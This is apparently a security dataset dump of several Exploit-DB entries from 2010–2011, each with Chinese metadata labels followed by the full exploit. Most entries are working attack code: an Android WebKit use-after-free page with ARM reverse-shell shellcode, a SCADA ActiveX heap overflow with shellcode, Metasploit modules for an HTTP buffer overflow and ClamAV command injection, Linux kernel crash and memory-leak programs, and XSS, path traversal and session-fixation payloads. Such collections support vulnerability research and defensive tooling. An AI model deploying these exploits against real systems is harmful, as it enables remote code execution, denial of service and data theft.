QLWD/code_shield huggingface dataset:
标题: WikiWig 5.01 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 16988 CVE: 2011-5267 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-16 漏洞利用脚本: Source: http://packetstormsecurity.org/files/view/99363/wikiwig501-xss.txt

------------------------------------------------------------------------
Software................WikiWig 5.01
Vulnerability...........Persistent/Reflected Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://wikiwig.sourceforge.net/
Disclosure Date.........3/10/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A persistent/reflected cross-site scripting vulnerability in WikiWig
5.01 can be exploited to execute arbitrary JavaScript.


--PoC--

Reflected:
http://localhost/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E

Persistent:
Create a user account. Edit any page and add script tags.

<script>alert(0)</script> URL: https://www.exploit-db.com/exploits/16988
标题: Google Android 2.0/2.1/2.1.1 - WebKit Use-After-Free EDB-ID: 16974 CVE: 2010-1119 类型: REMOTE 平台: ANDROID 发布日期: 2011-03-14 漏洞利用脚本: <html>
<!-- 
# Exploit Title: android exploit for 2010-1119 use after free
# Date: 2011/03/11
# Author: MJ Keith
# Software Link: http://www.android.com/
# Version: 2.0 ,2.1 , 2.1.1
# Tested on: Android
# CVE : 2010-1119

This is the exploit used in my Austin bsides presentation that returns a shell. The slides are at http://www.slideshare.net/mjza/bsides
email: mkeith AT exploitscience.org
-->

<head>
<script language="JavaScript">
function heap()
{

var id = document.getElementById("target");
var attribute = id.getAttributeNode('id');
nodes = attribute.childNodes;
document.body.removeChild(id);
attribute.removeChild(nodes[0]);
setTimeout(function() { for (var i = 0; i < 70000; i++) {var s = new String(unescape("\u0058\u0058")); };


var scode = unescape("\u0060\u0060");
var scode2 = unescape("\u5005\ue1a0");
var shell = unescape("\u0002\ue3a0\u1001\ue3a0\u2005\ue281\u708c\ue3a0\u708d\ue287\u0080\uef00\u6000\ue1a0\u1084\ue28f\u2010\ue3a0\u708d\ue3a0\
\u708e\ue287\u0080\uef00\u0006\ue1a0\u1000\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1001\ue3a0\u703f\ue3a0\u0080\uef00\u0006\ue1a0\u1002\ue3a0\u703f\ue3a0\u0080\uef00\u2001\ue28f\uff12\ue12f\u4040\u2717\udf80\ua005\ua508\u4076\u602e\u1b6d\ub420\ub401\u4669\u4052\u270b\udf80\u2f2f\u732f\u7379\u6574\u2f6d\u6962\u2f6e\u6873\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u2000\u0002");
shell += unescape("\uae08"); // Port = 2222
shell += unescape("\u000a\u0202"); // IP = 10.0.2.2
shell += unescape("\u2000\u2000"); // string terminate

 do
 {
  scode += scode;
  scode2 += scode2;

 } while (scode.length<=0x1000);
 
scode2 += shell
 

        target = new Array();
        for(i = 0; i < 300; i++){
          
            if (i<130){ target[i] = scode;}
            if (i>130){ target[i] = scode2;}

                  document.write(target[i]);
                  document.write("<br />");
                if (i>250){
                       //  alert("freeze");
                         nodes[0].textContent}

}

 }, 0);
}
</script>
</head>
<body onload=heap()>
<p id=target></p>
</body>
</html> URL: https://www.exploit-db.com/exploits/16974
标题: PHP 5.3.6 - 'shmop_read()' Integer Overflow Denial of Service EDB-ID: 16966 CVE: 2011-1092 类型: DOS 平台: LINUX 发布日期: 2011-03-12 漏洞利用脚本: <?php
# Exploit Title: PHP <=5.3.5 Integer Overflow DoS
# Date: 12-03-11
# Author: Jose Carlos Norte - www.rooibo.com
# Software Link: www.php.net
# Version: <= 5.3.5
# Tested on: Ubuntu Linux
# CVE : CVE-2011-1092

$shm_key = ftok(__FILE__, 't');
$shm_id = shmop_open($shm_key, "c", 0644, 100);
$shm_data = shmop_read($shm_id, 1, 2147483647);
//if there is no segmentation fault past this point, we have 2gb of memory!
//or we are in a patched php
echo "this php version is not vulnerable!";

?> URL: https://www.exploit-db.com/exploits/16966
标题: Kolibri HTTP Server 2.0 - HEAD Buffer Overflow (Metasploit) EDB-ID: 16970 CVE: 2002-2268 类型: REMOTE 平台: WINDOWS 发布日期: 2011-08-03 漏洞利用脚本: ##
# $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $

##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
   'Description'    => %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
   'Author'         => 
     [ 
      'mr_me <steventhomasseeley@gmail.com>', # msf
      'TheLeader' # original exploit
     ],
   'Version'        => '$Revision: 10887 $',
   'References'     =>
    [
     [ 'CVE', '2002-2268' ],
     [ 'OSVDB', '70808' ],
     [ 'BID', '6289' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 3000,
     'DisableNops' => true,
     'BadChars'    => "\x00\x0d\x0a\x3d\x20\x3f",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
     [ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
    ],
   'DisclosureDate' => 'Dec 26 2010',
   'DefaultTarget'  => 0))
 end

 def check
  info = http_fingerprint
  if info and (info =~ /kolibri-2\.0/)
   return Exploit::CheckCode::Vulnerable
  end
  Exploit::CheckCode::Safe
 end

 def exploit
  #7E429353    FFE4            JMP     ESP
  # For a reliable and large payload, we use an egg hunter
  # and direct RET to execute code
  print_status("Sending request...")
  eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
  sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
  sploit << eh_stub
  send_request_raw({
   'uri'     => "/" + sploit,
   'version' => '1.1',
   'method'  => 'HEAD',
   'headers' => {'Content-Type' => eh_egg},
  })

  handler
 end

end URL: https://www.exploit-db.com/exploits/16970
标题: Linux Kenel 2.6.37-rc1 - serial_core TIOCGICOUNT Leak EDB-ID: 16973 CVE: 2010-4077 类型: DOS 平台: LINUX 发布日期: 2011-03-14 漏洞利用脚本: /* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
 * ================================================ 
 * Information leak exploit for CVE-2010-4077 which
 * leaks kernel stack space back to userland due to
 * uninitialized struct member "reserved" in struct
 * serial_icounter_struct copied to userland. uses 
 * ioctl to trigger memory leak, dumps to file and 
 * displays to command line.
 *
 * -- prdelka
 *
 */
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h> 
#include <string.h>

int main(int argc, char* argv[]) {
    int fd, ret = 0, i;
    struct serial_icounter_struct buffer;
    printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
    if(argc < 2){
 printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
 exit(-1);
    };
    memset(&buffer,0,sizeof(buffer));
    if((fd = open(argv[1], O_RDONLY)) == -1){
 printf("[ Couldn't open %s\n",argv[1]);
 exit(-1);
    }
    if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
 printf("[ Problem with ioctl() request\n");
 exit(-1);
    }
    close(fd); 
    for(i=0;i<=9;i++){
            printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
    };
    if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
 printf("[ Can't open file to write memory out\n");
 exit(-1);
    }
    for(i=0;i<=9;i++){
     ret += write(fd,&buffer.reserved[i],sizeof(int));
    }
    close(fd);
    printf("[ Written %d leaked bytes to ./leak\n",ret);
    exit(0);
} URL: https://www.exploit-db.com/exploits/16973
标题: Oracle WebLogic - POST Session Fixation EDB-ID: 16959 CVE: 2010-4437 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2011-03-11 漏洞利用脚本: Name Oracle WebLogic – Session Fixation Via HTTP POST Request
Vendor Website http://www.oracle.com/
Date Released 11 March 2011 – CVE-2010-4437
Affected Software Oracle WebLogic Server 9.0, 9.1, 9.2.4, 10.0.2, 10.3.2, 10.3.3
Researcher Roberto Suggi Liverani

Description

Oracle WebLogic servlet session cookie can be fixated via HTTP POST request. This type of session fixation attack has been confirmed with different session descriptor elements. In particular, the attack has also been confirmed with the session descriptor element <url-rewriting-enabled> set to "False". Such setting prevents session fixation attack via HTTP GET request but fails to mitigate session fixation attacks performed over HTTP POST.

Exploitation

A malicious user obtains a valid servlet session (e.g. AFSSESSIONID) and then forces a user to perform an HTTP POST request which sets the AFSSESSIONID cookie into the user's browser. The cookie AFSESSIONID is passed as a parameter within the body of the HTTP POST request to the Oracle WebLogic Server, as shown below:
Session Fixation Via HTTP POST Request
POST /test/test.jsp HTTP/1.1
Host: 192.168.0.100:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
AFSSESSIONID=kWCsMjVKKvRh0ct14JJltYTrmXBWyBqh8brv6wfjrVrk4K2mB1yv!1587485378
HTTP/1.1 200 OK
Date: Thu, 12 Aug 2010 11:18:42 GMT
Content-Length: 459
Content-Type: text/html; charset=ISO-8859-1
Set-Cookie: AFSSESSIONID=kWCsMjVKKvRh0ct14JJltYTrmXBWyBqh8brv6wfjrVrk4K2mB1yv!1587485378; path=/; HttpOnly

X-Powered-By: Servlet/2.5 JSP/2.1
Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -January 2011. Security-Assessment.com recommends applying the latest patch provided by the vendor. For more information, visit: 

http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html URL: https://www.exploit-db.com/exploits/16959
标题: SmarterMail 7.3/7.4 - Multiple Vulnerabilities EDB-ID: 16955 CVE: 2010-3486 类型: WEBAPPS 平台: ASP 发布日期: 2011-03-10 漏洞利用脚本: Author: Hoyt LLC Research | http://xss.cx | http://cloudscan.me
Identified: October 28, 2010

Vendor: SmarterTools
Application: SmarterMail 7.x
Bug(s): Stored XSS, Reflected XSS, Directory Traversal, File Upload Parameters, OS Execution, XML Injection, LDAP Injection, DoS

Patch: The Vendor has released SmarterMail Version 8 at URI http://www.smartertools.com/Download.aspx?Product=SmarterMail&File=Installer&Version=8&Location=Primary

Timeline: Notify Vendor 10-28-2011 on Version 7.3 with respect to Stored XSS, other Vulns
              Vendor updates to Version 7.4 on 12.30.2010, Notify Vendor of Stored XSS, other Vulns
              Vendor updates to Version 8.0 on 3.10.2011

Publication: March 10, 2011 | Hoyt LLC Research publishes vulnerability information for SmarterMail Version 7.3 and 7.4, building on Version 7.1 and 7.2 exploits known as CVE-2010-3486 and CVE-2010-3425 at URI http://www.cloudscan.me/2011/03/smartermail-73-74-full-disclosure-xss.html.

Hoyt LLC Research | March 10, 2011

SmarterMail Versions 7.x | CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Stored XSS - CWE-79, CAPEC-86 - SmarterMail Version 7.x Series
Summary

Severity:   High
Confidence:   Certain
Host:   http://SmarterMail 7.x.Hosts
Path:   /Main/frmPopupContactsList.aspx
Issue detail - Confirmed in Versions 7.1, 7.2, 7.3 and 7.4

The value of the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText request parameter submitted to the URL /Main/frmContact.aspx is copied into the HTML document as plain text between tags at the URL /Main/frmPopupContactsList.aspx. The payload 9e8e5<script>alert(1)</script>5b211c9e81 was submitted in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.

Full Disclsoure - SmarterMail 7.x - Blog Posts
http://www.cloudscan.me/2011/03/smartermail-73-74-full-disclosure-xss.html
http://www.cloudscan.me/2010/09/smartermail-7x-713876-bugs-cross-site.html
http://www.cloudscan.me/2010/09/smarter-mail-7x-713876-file-fuzzing.html
http://www.cloudscan.me/2010/10/vendor-smartertoolscom-smartermail-7x_07.html
http://www.cloudscan.me/2010/10/vendor-smartertoolscom-smartermail-7x.html
http://www.cloudscan.me/2010/10/smartermail-7x-723925.html

Full Disclosure- SmarterMail 7.x - Burp Suite Pro 1.3.08 + Netsparker Audit Reports, HTML, XML Files, Screen Grabs.
http://xss.cx/examples/sm_7.2.3925_interim_report_1.htm
http://xss.cx/examples/sm_7.2.3925_interim_report_2.htm
http://xss.cx/examples/smartermail-7.2-report-interim-3.html
http://xss.cx/examples/sm-72-target.html
http://xss.cx/examples/sm_7.2.3925_stored_xss_audit_example.html
http://xss.cx/examples/sm_7.2.3925_file2_burp_1.3.08.html URL: https://www.exploit-db.com/exploits/16955
标题: Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2) EDB-ID: 16952 CVE: 2010-4165 类型: DOS 平台: LINUX 发布日期: 2011-03-10 漏洞利用脚本: /*
 * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
 * by zx2c4
 *
 * This exploit triggers CVE-2010-4165, a divide by zero
 * error in net/ipv4/tcp.c. Because this is on the softirq
 * path, the kernel oopses and then completely dies with
 * no chance of recovery. It has been very reliable as a
 * DoS, but is not useful for triggering other bugs.
 *
 * -zx2c4, 28-2-2011
 */

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
 struct sockaddr_in laddr;
 memset(&laddr, 0, sizeof(laddr));
 laddr.sin_family = AF_INET;
 laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 laddr.sin_port = htons(31337);
 int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (listener < 0) {
  printf("[-] Could not open listener.\n");
  return -1;
 }
 int val = 12;
 if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
  printf("[-] Could not set sockopt.\n");
  return -1;
 }
 if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
  printf("[-] Could not bind to address.\n");
  return -1;
 }
 if (listen(listener, 1) < 0) {
  printf("[-] Could not listen.\n");
  return -1;
 }
 int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 if (hello < 0) {
  printf("[-] Could not open connector.\n");
  return -1;
 }
 if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
  printf("[-] Could not connect to listener.\n");
  return -1;
 }
 printf("[-] Connection did not trigger oops.\n");
 return 0;
} URL: https://www.exploit-db.com/exploits/16952
标题: KingView 6.5.3 SCADA - ActiveX EDB-ID: 16936 CVE: 2011-3142 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-07 漏洞利用脚本: # Exploit Title: KingView 6.5.3 SCADA ActiveX
# Date: March 07  2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://download.kingview.com/software/kingview%20English%20Version/kingview6.53_EN.rar
# Version: 6.53 (English)
# Tested on: Windows xp sp3  running on VMware Fusion 3.1 and VirtualBox 3.2.8

Thanks to Dillon Beresford for Heap Exploit
<html>
mail----> shogilord^gmail.com spams are welcome!!!!!
    ________  _    _________   ____ __ _____   ________
   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __
 / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /
/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/
    
 COLOMBIA hacking presents.............
Beijing WellinControl Technology Development Co.,Ltd FIX your KVWebSvr.dll
 
<object classid='clsid:F31C42E3-CBF9-4E5C-BB95-521B4E85060D' id='target' /></object>
<script language='javascript'>
nse="\xEB\x06\x90\x90";
seh="\x4E\x20\xD1\x72";
nops="\x90";
while (nops.length<10){ nops+="\x90";}
/*Calc.exe alpha_upper badchars --> "\x8b\x93\x83\x8a\x8c\x8d\x8f\x8e\x87\x81\x84\x86\x88\x89\x90\x91\x92\x94\x95\x96\x97\x98\x99\x82\x85\x9f\x9a\x9e\x9d\x9b\x9f\x76*/
shell="\x54\x5f\xda\xdf\xd9\x77\xf4\x5e\x56\x59\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4c\x4b\x5a\x4c\x50\x55\x4c\x4b\x5a\x4c\x43\x58\x51\x30\x51\x30\x51\x30\x56\x4f\x52\x48\x52\x43\x45\x31\x52\x4c\x43\x53\x4c\x4d\x51\x55\x5a\x58\x56\x30\x58\x38\x49\x57\x4d\x43\x49\x52\x54\x37\x4b\x4f\x58\x50\x41\x41";
junk1="A";
junk2="A";
while (junk1.length<624){ junk1+=junk1;}
junk1=junk1.substring(0,624);
junk2=junk1;
while (junk2.length<8073){ junk2+=junk2;}
arg2=junk1+nse+seh+nops+shell+junk2;
arg1="Anything";
target.ValidateUser(arg1 ,arg2);
 
 
</script> URL: https://www.exploit-db.com/exploits/16936
标题: Quick Polls - Local File Inclusion / Deletion EDB-ID: 16933 CVE: 2011-1099 类型: WEBAPPS 平台: PHP 发布日期: 2011-03-06 漏洞利用脚本: 'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
Two vulnerabilities exist in 'Quick Polls' providing local file inclusion & local file deletion due to null-byte attacks against functions in index.php.

 
II. TESTED VERSION
---------------------------------------
1.0.1


III. PoC EXPLOITS
---------------------------------------
LFI: http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00
LFD: http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00


IV. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled for null-byte attacks to work


V. SOLUTION
---------------------------------------
Upgrade to 1.0.2 or above


VI. REFERENCES
---------------------------------------
http://www.focalmedia.net/create_voting_poll.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099
http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/


VII. TIMELINE
---------------------------------------
02/05/2011 - Initial vendor disclosure
02/07/2011 - Vendor patched and released an updated version
02/07/2011 - Confirmed public disclosure date with vendor
03/06/2011 - Public disclosure URL: https://www.exploit-db.com/exploits/16933
标题: ClamAV Milter - Blackhole-Mode Remote Code Execution (Metasploit) EDB-ID: 16924 CVE: 2007-4560 类型: REMOTE 平台: LINUX 发布日期: 2010-10-09 漏洞利用脚本: ##
# $Id: clamav_milter_blackhole.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::Smtp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
   'Description'    => %q{
     This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
    (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
    When implemented with black hole mode enabled, it is possible to execute
    commands remotely due to an insecure popen call.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 10617 $',
   'References'     =>
    [
     [ 'CVE', '2007-4560' ],
     [ 'OSVDB', '36909' ],
     [ 'BID', '25439' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
    ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 1024,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Platform'       => 'unix',
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     [ 'Automatic', { }],
    ],
   'DisclosureDate' => 'Aug 24 2007',
   'DefaultTarget'  => 0))

   register_options(
   [
    OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
   ], self.class)
 end

 def exploit

  # ClamAV writes randomized msg.###### temporary files in a randomized
  # /tmp/clamav-#######################/ directory. This directory is
  # the clamav-milter process working directory.
  #
  # We *can* execute arbitrary code directly from 'sploit', however the
  # SMTP RFC rejects all payloads with the exception of generic CMD
  # payloads due to the IO redirects. I discovered that the 'From:'
  # header is written to this temporary file prior to the vulnerable
  # call, so we call the file itself and payload.encoded is executed.

  sploit = "sh msg*" # Execute the clamav-milter temporary file.

  # Create the malicious RCPT TO before connecting,
  # to make good use of the Msf::Exploit::Smtp support.

  oldaddr = datastore['MAILTO']
  newaddr = oldaddr.split('@')

  datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"

  connect_login

  sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
  sock.put(".\r\n")

  # Clean up RCPT TO afterwards

  datastore['MAILTO'] = oldaddr

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16924